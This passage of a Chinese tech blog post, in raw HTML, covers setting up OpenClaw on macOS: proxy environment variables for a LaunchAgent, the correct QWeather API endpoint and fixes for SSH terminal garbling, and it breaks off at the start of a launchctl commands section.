data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">网络配置</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">OpenClaw 集成了 Brave Search，但 Gateway 进程请求 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">api.search.brave.com</span></code><span leaf=""> 超时。本机浏览器正常，说明magic在工作。原因是 macOS 上 magic 的 TUN 模式虽然能接管大部分流量，但 LaunchAgent 启动的进程继承的是系统环境变量，不一定走 TUN 虚拟网卡。TUN 通过修改路由表来劫持流量，但如果进程在 TUN 启动之前就建立了连接，或者进程绑定了特定网卡，就可能绕过。这个问题容易忽略，顺便提一下。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">最稳的办法是给 LaunchAgent 显式设置代理环境变量。编辑 plist 文件，加：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">5</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">6</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">7</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #dc3958;"><span leaf="">&lt;</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf="">EnvironmentVariables</span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">&lt;</span><span style="color: #dc3958;"><span leaf="">dict</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">    &lt;</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf="">http_proxy</span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">    &lt;</span><span style="color: #dc3958;"><span leaf="">string</span></span><span leaf="">&gt;</span></span><span leaf=""><a href="http://127.0.0.1:7890" target="_blank">http://127.0.0.1:7890</a></span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">string</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">    &lt;</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf="">https_proxy</span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">key</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">    &lt;</span><span style="color: #dc3958;"><span leaf="">string</span></span><span leaf="">&gt;</span></span><span leaf=""><a href="http://127.0.0.1:7890" target="_blank">http://127.0.0.1:7890</a></span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">string</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="color: #dc3958;"><span leaf="">&lt;/</span><span style="color: #dc3958;"><span leaf="">dict</span></span><span leaf="">&gt;</span></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这样 Gateway 进程启动时就能拿到代理地址。Node.js 的 HTTP 客户端库（undici、node-fetch 等）大多会读这两个环境变量。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">和风天气 API</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">还是端点问题，免费版端点是 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">devapi.qweather.com</span></code><span leaf="">，不是文档里到处出现的 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">dev.qweather.com</span></code><span leaf="">，也不是付费版的 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">api.qweather.com</span></code><span leaf="">。搞错了返回 403，没有任何额外提示。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">终端乱码</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">SSH 到 Mac 后方向键显示 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">[[D^[</span></code><span leaf=""> 之类的转义序列，一般是 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.zshrc</span></code><span leaf=""> 里 bindkey 配置覆盖了默认的 emacs 键位映射。粘贴时出现乱码控制字符是 Bracketed Paste 模式的问题，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">printf &#39;\e[?2004l&#39;</span></code><span leaf=""> 临时关掉，永久解决在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.zshrc</span></code><span leaf=""> 里加 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unset zle_bracketed_paste</span></code><span leaf="">。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><span leaf="">运行效果</span></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8268518518518518" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100003065" src="https://wechat2rss.xlab.app/img-proxy/?k=d2ab98f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MV6PRSibp6KZmtjwNe0dv7nkhJRU2axzIO8n4z9YibWbZmhNictFvsgfXFUMsKgs8Tg0zdmKn5MuIUwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;"><span leaf="">私聊</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7130177514792899" data-s="300,640" data-type="png" data-w="1352" type="block" data-imgfileid="100003063" src="https://wechat2rss.xlab.app/img-proxy/?k=13f9aca6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MV6PRSibp6KZmtjwNe0dv7nkSBVKZSd9DqsqvrqA7oEpicx5w9wuzRtaIe1UqSPKE8weVS867xIr8PA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="">群聊</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100003064" data-ratio="0.5694444444444444" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1cbd7b64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MV6PRSibp6KZmtjwNe0dv7nklBzqSicIicWulX4FkRTWcVUEMGzKo7BiaRVaFrRjN6Q5V4dPicR2qSs5VA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;"><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">常用命令</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">日常用到的 launchctl 命令：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">5</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">6</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">7</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">8</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">9</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">10</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">11</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">12</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">13</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">14</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">15</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">16</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">17</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">18</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">19</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">20</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">21</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">22</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">23</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">24</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">25</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">26</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">27</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">28</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">29</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">30</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">31</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">32</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">33</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">34</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">35</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">36</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">37</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">38</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">39</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">40</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">41</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">42</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">43</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">44</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">45</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">46</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">47</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">48</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">49</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">50</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">51</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">52</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">53</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">54</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">55</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">56</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">57</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span 